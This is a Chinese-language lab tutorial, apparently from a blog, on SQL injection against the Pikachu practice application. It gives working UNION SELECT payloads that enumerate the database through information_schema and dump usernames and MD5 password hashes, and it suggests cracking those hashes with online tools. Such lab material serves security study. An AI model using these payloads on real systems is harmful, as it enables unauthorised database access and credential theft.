information_schema注入

本章是将之前所学的知识融合到一起,进行综合注入
以Pikachu为例,打开字符型注入
实验11:information_schema注入

步骤如下:

1、测试是否为注入点
有很多种方法,可以使用工具,或者手工测试,例如输入一个”单引号“
实验11:information_schema注入
报错显示到前端,可以进行下一项
2、看有几个字段
使用order by句式来试探
例:hello‘ order by 2#
实验11:information_schema注入
表明有两行字段
3、联合查询
①查询表名:例:hello’ union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu’#
实验11:information_schema注入
②查询字段名
例:hello’ union select table_name,column_name from information_schema.columns where table_name=‘users’#
得到:
实验11:information_schema注入
得到这些信息后,我们很容易就能得到关键的用户名和密码
例:hello’ union select username,password from users#
如图:

实验11:information_schema注入
此时密码是经过md5加密的,我们可以在网上搜索MD5解密工具,获取真正的密码。

相关文章: